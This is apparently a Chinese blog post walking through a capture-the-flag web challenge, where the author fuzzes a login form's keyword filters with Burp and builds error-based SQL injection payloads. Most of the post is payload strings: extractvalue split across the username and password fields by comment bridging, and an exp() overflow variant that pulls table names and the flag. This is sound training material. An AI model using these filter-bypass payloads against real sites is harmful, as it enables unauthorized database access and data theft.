实验吧——加了料的报错注入(exp报错注入)

题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询

测试了一个报错函数发现如下回显,可见屏蔽了报错信息,也有可能是监测到了updatexml这个报错函数,于是先用burp来fuzzing测试一波,看看哪些关键字

被屏蔽了

 

burp抓包并send to intruder

分别对username和password进行fuzzing测试,这里演示username的,设置完后点击start attact

 

fuzzing测试的字典我是自己写的,就写了些常见的关键字,你们可以将就用下

and
or
=
>
<
(
)
()
'
"
regexp
substr
mid
left
join
rigth
like
select
from
union
,
updatexml
extractvalue
exp
char
ascii
insert
into
delete
update
alter
create
where
/*
*/
-- 
--
#
all
distinct
not
as
order
by
desc
asc
having
floor
geometrycollection
polygon
multipoint
multilinestring
linestring
multipolygon

 

最后得出username处屏蔽了括号,=,substr 等等关键字

而password屏蔽了如updatexml,extractvalue等等会产生报错的函数,还有union,like 等等

 

似乎有点矛盾,想要报错注入,必须要构造一个报错函数,函数名 和 括号 缺一不可,但是两个注入点都不满足条件。但是可以将两个注入点“打通”,前者函数名,后者括号不就行了?于是构造如下

username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '

后台的查询语句就为

select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

去掉注释即为

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

 

然后猜解表名,因为password屏蔽了=,所以用regexp

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '

猜解列名

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

猜解字段

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

 

这道题其实对于报错函数的过滤还有一个漏网之鱼——exp()

详见http://netsecurity.51cto.com/art/201508/489529.htm

 

所以构造

username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '

 

posted @ 2018-10-08 16:38  淚笑  阅读(1521)  评论(1编辑  收藏  举报